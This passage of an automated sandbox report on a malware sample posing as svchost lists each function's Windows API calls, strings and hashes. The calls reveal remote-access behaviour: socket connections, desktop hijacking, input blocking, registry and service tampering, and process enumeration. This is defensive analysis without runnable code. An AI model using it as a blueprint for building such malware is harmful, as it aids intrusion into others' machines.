Instruction Fuzzy Hash: 45118271644302AFE714CF64DD85BFB3BA8EBD4700F40C92DF45982190F7789A488BA6

Function 00405BE0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,0040559F,00000000), ref: 00405BF1
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,0040559F,00000000), ref: 00405BFA
??2@YAPAXI@Z.MSVCRT ref: 00405C01
??2@YAPAXI@Z.MSVCRT ref: 00405C09
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,0040559F,00000000), ref: 00405C1F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00405C32
??3@YAXPAX@Z.MSVCRT ref: 00405C39

Strings

QB, xrefs: 00405C4B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@ByteCharMultiWidelstrlen$??3@
String ID: QB
API String ID: 1676418047-3745765429
Opcode ID: 250b363a6bcf381e46adfe5752f2b48b3374299a8dc34a1b9e24d15d2dccdc6d
Instruction ID: 75ff8a9fbc8792cd233eaf4d511f32df3a76be2e5d72fc327b055b0e807b7686
Opcode Fuzzy Hash: 250b363a6bcf381e46adfe5752f2b48b3374299a8dc34a1b9e24d15d2dccdc6d
Instruction Fuzzy Hash: 0FF0FCB26C922837F12022667C45FD73A5CCB92BB4F154237FA14A61C2D95468508ABD

Function 0040B7C0 Relevance: 13.7, APIs: 9, Instructions: 194registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F013F,?,00000000), ref: 0040B7D9
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 0040B80B
LocalAlloc.KERNEL32(00000040,?,74DF02D0,74DEF530), ref: 0040B85E
malloc.MSVCRT ref: 0040B899
malloc.MSVCRT ref: 0040B8A7
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,00000000,?,?), ref: 0040B931

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: malloc$AllocEnumInfoLocalOpenQueryValue
String ID:
API String ID: 574313380-0
Opcode ID: b2b1997a2901f85a649034e6605411934a3e022b08e4c183a6350cdc5cd33681
Instruction ID: c2513a19ab656673e58f79ac9689a011c46ef15586d9158d9140b0064820356a
Opcode Fuzzy Hash: b2b1997a2901f85a649034e6605411934a3e022b08e4c183a6350cdc5cd33681
Instruction Fuzzy Hash: 716199716083059FC718CF29C890A6BBBE9EBC9704F44892DF58A97340D735EA09CB96

Function 004141D0 Relevance: 13.6, APIs: 9, Instructions: 86stringmemorywindowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,00000000,000003FF), ref: 0041420A
IsWindowVisible.USER32 ref: 00414219
lstrlenA.KERNEL32(00000000), ref: 00414232
LocalAlloc.KERNEL32(00000040,00000001), ref: 00414244
LocalSize.KERNEL32 ref: 00414254
lstrlenA.KERNEL32(00000000), ref: 00414272
LocalReAlloc.KERNEL32(?,?,00000042), ref: 0041427E
GetWindowThreadProcessId.USER32(?,?), ref: 00414292
lstrlenA.KERNEL32(00000000,?,?,00000042), ref: 0041429D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: LocalWindowlstrlen$Alloc$ProcessSizeTextThreadVisible
String ID:
API String ID: 925664022-0
Opcode ID: 7352155b255063380927b2f9ea1bbe54736e11899cbca5f380a4eb8d44175901
Instruction ID: 7bc22b65140d0a763428e586f7d5a79d689475f33901e0b3a2dd60b429ae6eb3
Opcode Fuzzy Hash: 7352155b255063380927b2f9ea1bbe54736e11899cbca5f380a4eb8d44175901
Instruction Fuzzy Hash: 3C21F8712443495BD720DF64DC84BEB77E8EFC5300F00487DFA8593241DB78A9498769

Function 0040DF10 Relevance: 13.6, APIs: 9, Instructions: 83pipesleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0040DF31
PeekNamedPipe.KERNEL32(?,?,00000400,00000000,?,00000000), ref: 0040DF51
LocalAlloc.KERNEL32(00000040,?), ref: 0040DF73
ReadFile.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040DF8C
malloc.MSVCRT ref: 0040DF9A
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 0040DFB1
LocalFree.KERNEL32(00000000), ref: 0040DFC8
free.MSVCRT(00000000), ref: 0040DFCF
PeekNamedPipe.KERNEL32(?,?,00000400,?,?,00000000), ref: 0040DFF1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: LocalNamedPeekPipe$AllocByteCharFileFreeMultiReadSleepWidefreemalloc
String ID:
API String ID: 2746250319-0
Opcode ID: 13d3c52c77c26060d2d3e5e7becf95b26f67cc2f0146c2804a80f9f2b150d1b5
Instruction ID: 4b0fb8380006c6ba774764db5b3672daa6d8f7aa649bac87414d123e8f010ba6
Opcode Fuzzy Hash: 13d3c52c77c26060d2d3e5e7becf95b26f67cc2f0146c2804a80f9f2b150d1b5
Instruction Fuzzy Hash: 51217CB0284302BBE714DF65DC85FAB77A9EF84700F00492DB655A7281E774E809CB6A

Function 00414690 Relevance: 13.6, APIs: 9, Instructions: 66threadstringCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004146A2
GetThreadDesktop.USER32(00000000), ref: 004146A9
GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 004146D6
OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 004146E1
GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 0041470E
lstrcmpiA.KERNEL32(?,?), ref: 0041471D
SetThreadDesktop.USER32(00000000), ref: 00414728
CloseDesktop.USER32(00000000), ref: 00414740
CloseDesktop.USER32(00000000), ref: 00414743

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Desktop$Thread$CloseInformationObjectUser$CurrentInputOpenlstrcmpi
String ID:
API String ID: 3718465862-0
Opcode ID: 81cb0245afd6767c538e0431a614d19edd2989db12e46f1d4cbb660a8d0481fb
Instruction ID: fd7406d3ebb308afc4d360af80605fb9a5cc53d0a3156ee0d4c3b58c4dc62d17
Opcode Fuzzy Hash: 81cb0245afd6767c538e0431a614d19edd2989db12e46f1d4cbb660a8d0481fb
Instruction Fuzzy Hash: 8111EE712443096BE310DF60DC85FDB779CEB85700F008C39FA5592191EB74A54987A6

Function 00408FD0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67processstringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000100), ref: 00409004
lstrcatA.KERNEL32(?,Program Files\Internet Explorer\IEXPLORE.EXE), ref: 00409018
GetStartupInfoA.KERNEL32(?), ref: 00409023
CreateProcessA.KERNEL32 ref: 0040907A
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0040909D

Strings

Program Files\Internet Explorer\IEXPLORE.EXE, xrefs: 0040900E
open, xrefs: 00409097

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateDirectoryExecuteInfoProcessShellStartupWindowslstrcat
String ID: Program Files\Internet Explorer\IEXPLORE.EXE$open
API String ID: 1806785504-1200888636
Opcode ID: c0f23714183a4d7a7737c784e713cadc4998add0510ea98b5be8d6c4225745a3
Instruction ID: bb4ebcb4ce031f1990698fc563645605ddc05e1f8c9307520f5073aea1853278
Opcode Fuzzy Hash: c0f23714183a4d7a7737c784e713cadc4998add0510ea98b5be8d6c4225745a3
Instruction Fuzzy Hash: AD2130B1588345BFD7008FA5DCC499BBBECFBC8349F40882DB59486261D6B99948CB16

Function 0040AA70 Relevance: 12.1, APIs: 8, Instructions: 133registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F013F,00000000,?,?), ref: 0040AAC7
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AAE7
RegSetValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 0040AB1D
RegSetValueExA.ADVAPI32(?,?,00000000,?,?), ref: 0040AB4A
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB68
RegDeleteKeyA.ADVAPI32(?,?), ref: 0040AB7A
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB98
RegDeleteValueA.ADVAPI32(?,?), ref: 0040ABAA

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: OpenValue$Delete$Create
String ID:
API String ID: 2295199933-0
Opcode ID: 1e01743ee8fa589474f573aaa5da630497aa17163951b7374a2aa14a6466ee86
Instruction ID: 90dcdda1dcfe4ccb8adca3d92b295771263b3cc75a202ef65b39c436413bcc7a
Opcode Fuzzy Hash: 1e01743ee8fa589474f573aaa5da630497aa17163951b7374a2aa14a6466ee86
Instruction Fuzzy Hash: 614131B1610209ABDB10CF95CDC4DEB77BDFB48750B108169FA19E3280D774EE148B65

Function 004023A0 Relevance: 12.1, APIs: 8, Instructions: 51networksleepthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 004023B0
htons.WS2_32 ref: 004023D7
inet_addr.WS2_32(00424EF0), ref: 004023E7
socket.WS2_32(00000002,00000001,00000000), ref: 00402416
connect.WS2_32(00000000,?,00000010), ref: 00402422
Sleep.KERNEL32(00000028), ref: 00402426
closesocket.WS2_32(00000000), ref: 00402429
ExitThread.KERNEL32 ref: 0040243E

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ExitSleepStartupThreadclosesocketconnecthtonsinet_addrsocket
String ID:
API String ID: 1700887211-0
Opcode ID: 59515021f218f83d8413151b25a45dcf9680b3f7f750f2a3db028d10489a71ca
Instruction ID: 86b6f15b7298aca8da353603312ca4855010d137fff5b367e8ac6a38f21ff919
Opcode Fuzzy Hash: 59515021f218f83d8413151b25a45dcf9680b3f7f750f2a3db028d10489a71ca
Instruction Fuzzy Hash: 7211A531288350AFE3109F95EC49BABBBA8FF89704F40C43EF58497291C7B154058B6E

Function 004069C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?), ref: 004069EB
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000,?,?), ref: 00406A5E
SetFilePointer.KERNEL32(00000000,?,?,00000000,?,?), ref: 00406A73
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 00406A90
CloseHandle.KERNEL32(00000000,?,?), ref: 00406A97

Strings

p, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateDirectoryHandlePointerWindowsWrite
String ID: p
API String ID: 2150778781-2181537457
Opcode ID: 69dc6aa7721149ada4878e6f046b85cefd98c909c3cb018aede20fbdd1e75405
Instruction ID: 493f7fc5d6d3af737c21644156a14811dc7ed62aa288cf3668260e68d6f4ca28
Opcode Fuzzy Hash: 69dc6aa7721149ada4878e6f046b85cefd98c909c3cb018aede20fbdd1e75405
Instruction Fuzzy Hash: 5431D5716447046BD318CE24DC45AABB7D6FBC4320F048B2DF966872D1DAB49E098B91

Function 00407690 Relevance: 10.6, APIs: 7, Instructions: 96stringfilememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00000000), ref: 004076DC
GetFileSize.KERNEL32(00000000,?,?,?,?,00000000), ref: 004076FB
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00407704
lstrlenA.KERNEL32(?,?,?,00000000), ref: 0040770B
LocalAlloc.KERNEL32(00000040,00000000,?,?,00000000), ref: 00407719
lstrlenA.KERNEL32(?,?,?,00000000), ref: 00407747
LocalFree.KERNEL32(00000000,?,?,00000000), ref: 0040776F

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: FileLocallstrlen$AllocCloseCreateFreeHandleSize
String ID:
API String ID: 2793549963-0
Opcode ID: 962528829d1462a7866aef07fe92c06ca7f7353d035e226cfed0c9e36981cb67
Instruction ID: 23b8150baac335aacb58f4fc3f17428cb78632f09c98068ffb6516f41460d86a
Opcode Fuzzy Hash: 962528829d1462a7866aef07fe92c06ca7f7353d035e226cfed0c9e36981cb67
Instruction Fuzzy Hash: D521F8327803046FD7089A78EC95A6BB7DAEBD8621F44853DFA02C73C1DAB59C05C664

Function 00407790 Relevance: 10.6, APIs: 7, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,00406E0C,00000001), ref: 004077C4

Part of subcall function 00407870: ??3@YAXPAX@Z.MSVCRT ref: 00407893

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??3@CreateFile
String ID:
API String ID: 1804927778-0
Opcode ID: f01388c6669f7266dcb91cee0c88239effe1667279778e5c0b4dd73ea270dcc9
Instruction ID: 16c361a5a7aa5601be0e16f28384b86a702857ee04e259ab70366dae71947edd
Opcode Fuzzy Hash: f01388c6669f7266dcb91cee0c88239effe1667279778e5c0b4dd73ea270dcc9
Instruction Fuzzy Hash: 8721B276784200ABD3109B65EC88F9BB7A8DB95721F10C53AF705EB2C1D675E804CB69

Function 0040C210 Relevance: 10.6, APIs: 7, Instructions: 83keyboardwindowsleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0040C25C
SystemParametersInfoA.USER32(00000056,00000001,00000000,00000000), ref: 0040C277
SendMessageA.USER32(0000FFFF,00000112,0000F170,00000002), ref: 0040C28A
SystemParametersInfoA.USER32(00000056,00000000,00000000,00000000), ref: 0040C2A6
SendMessageA.USER32(0000FFFF,00000112,0000F170,000000FF), ref: 0040C2B9

Part of subcall function 0040BD10: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD36
Part of subcall function 0040BD10: CloseHandle.KERNEL32(?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD40
Part of subcall function 0040BD10: ??2@YAPAXI@Z.MSVCRT ref: 0040BD6E

BlockInput.USER32(?), ref: 0040C2C6
BlockInput.USER32(00000000), ref: 0040C2F9

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: BlockInfoInputMessageParametersSendSystem$??2@CloseHandleObjectSingleSleepWait
String ID:
API String ID: 485892433-0
Opcode ID: cf1fb38d228dc1569388e92ffabee1dd2d3b158727e181d72d9c0c3adbfb67b0
Instruction ID: 6651918e330f8db9b64dae0c795f9f1d02bdc814a0a6956365467b4dcfc39201
Opcode Fuzzy Hash: cf1fb38d228dc1569388e92ffabee1dd2d3b158727e181d72d9c0c3adbfb67b0
Instruction Fuzzy Hash: 9121A130340304A6EA207BB64CC3B6B62454F41B14F501A7E7B12BF6C3CDB9D845826D

Function 0040BC40 Relevance: 10.6, APIs: 7, Instructions: 67synchronizationCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040BC7A
InterlockedExchange.KERNEL32(?,00000000), ref: 0040BC82
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BC90
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BC98
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BCA4
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BCAA
DestroyCursor.USER32(?), ref: 0040BCDE

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseExchangeHandleInterlockedObjectSingleWait$CursorDestroy
String ID:
API String ID: 2236516186-0
Opcode ID: dce065a875648190daee6ae261cc4712152cc63f2874f0f3c1f73f11455fb58c
Instruction ID: 59ac7591741e4f0f7b2444f90d6cea66a200c0d228c96d40a07244b96a96f290
Opcode Fuzzy Hash: dce065a875648190daee6ae261cc4712152cc63f2874f0f3c1f73f11455fb58c
Instruction Fuzzy Hash: DF2149B62447049BD220DF69CC80B96B3E9EB88720F104B1EE166937E0C7B8F8018B94

Function 00414430 Relevance: 10.6, APIs: 7, Instructions: 53processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414438
??2@YAPAXI@Z.MSVCRT ref: 00414444
Process32First.KERNEL32(00000000,00000000), ref: 00414456
_strcmpi.MSVCRT ref: 00414468
Process32Next.KERNEL32(00000000,00000000), ref: 0041447E
lstrcmpiA.KERNEL32(00000024,?), ref: 00414489
Process32Next.KERNEL32(00000000,00000000), ref: 00414495

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Process32$Next$??2@CreateFirstSnapshotToolhelp32_strcmpilstrcmpi
String ID:
API String ID: 3655294272-0
Opcode ID: 382d24646955c8adbcccceba76a207dec9aa1653282164e374270b813dc2aa41
Instruction ID: 0acb1295e31093df48621b14c62b28a448a8c1c34f69a168c6e29c845afc057b
Opcode Fuzzy Hash: 382d24646955c8adbcccceba76a207dec9aa1653282164e374270b813dc2aa41
Instruction Fuzzy Hash: 38F0A4B134121A22D63066B7AC45BF7BB8CCF857AAF00087AF904D5542EB19E89592B9

Function 004148C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?,?), ref: 004148D1
wsprintfA.USER32 ref: 004148FC
closesocket.WS2_32(00000000), ref: 00414914
TerminateThread.KERNEL32(?,00000000), ref: 0041494C
CloseHandle.KERNEL32(00428008), ref: 00414953

Strings

nsocket-di:%d, xrefs: 004148F6

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseHandleSleepTerminateThreadclosesocketwsprintf
String ID: nsocket-di:%d
API String ID: 1790861966-355283319
Opcode ID: 1eaa8bd2cf5d01b57e4e7059e93ce53f9976e290c176b5cc93b122416665a4cb
Instruction ID: c038ad9e32248723968acfa81b0473519ec65919259b836e0ef13fcda48b4a6a
Opcode Fuzzy Hash: 1eaa8bd2cf5d01b57e4e7059e93ce53f9976e290c176b5cc93b122416665a4cb
Instruction Fuzzy Hash: 47114F74740214ABD730DB28FC84B9A37A4B784328F95812AE814D73A0D779AC4ECB5C

Function 0040D470 Relevance: 10.5, APIs: 7, Instructions: 47serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 0040D47F
OpenServiceA.ADVAPI32(00000000,?,000F01FF), ref: 0040D4BA
GetLastError.KERNEL32 ref: 0040D4C2
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040D4CE
DeleteService.ADVAPI32(00000000), ref: 0040D4D5
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D4E2
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D4E5

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$CloseHandleOpen$DeleteErrorLastManagerQueryStatus
String ID:
API String ID: 1056138329-0
Opcode ID: 2620753b3454f6dadb64e8c77aaa2a209039810d3a0bf38e0e8562963953ceb9
Instruction ID: a7e760daa4de6a194430224441be3164bd7497aff50154f4d329eab75b029413
Opcode Fuzzy Hash: 2620753b3454f6dadb64e8c77aaa2a209039810d3a0bf38e0e8562963953ceb9
Instruction Fuzzy Hash: B801DB32690214ABD31457B49C8DFDB7F98FBCC321F008629F71A93290D9B45D04C7A4

Function 00411EC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 00411EE6
lstrcatA.KERNEL32(?,?), ref: 00411EF5
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00411F12
CloseHandle.KERNEL32(00000000), ref: 00411F3A
LocalFree.KERNEL32(?), ref: 00411F53

Strings

p, xrefs: 00411EE1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateDirectoryFileFreeHandleLocalSystemlstrcat
String ID: p
API String ID: 3845662661-2181537457
Opcode ID: 64e0b153b10587df9cad7c4a1c3592660aed04596eb9503499bb18d4e8ebf6ee
Instruction ID: 474ded3510ba160b308d1cf34b7b303b9fa2d41da2799daccfa906caea0ea06d
Opcode Fuzzy Hash: 64e0b153b10587df9cad7c4a1c3592660aed04596eb9503499bb18d4e8ebf6ee
Instruction Fuzzy Hash: B901B970544301ABE310DF74DC49BDB77E4AB88714F40CE1DF299961D0E7B895488B9A

Function 00401B80 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00401370: EnterCriticalSection.KERNEL32(?,00000000,74DF23A0,00401B93,00000000,74DF23A0,74DF0F00,74DF3000,00000001,?,00000035,?,00000000,?,00000000), ref: 00401378
Part of subcall function 00401370: LeaveCriticalSection.KERNEL32(?,00000400,?,00000000,?,00000000), ref: 00401391

_ftol.MSVCRT ref: 00401BBB
??2@YAPAXI@Z.MSVCRT ref: 00401BC5
??3@YAXPAX@Z.MSVCRT ref: 00401BFA

Memory Dump Source

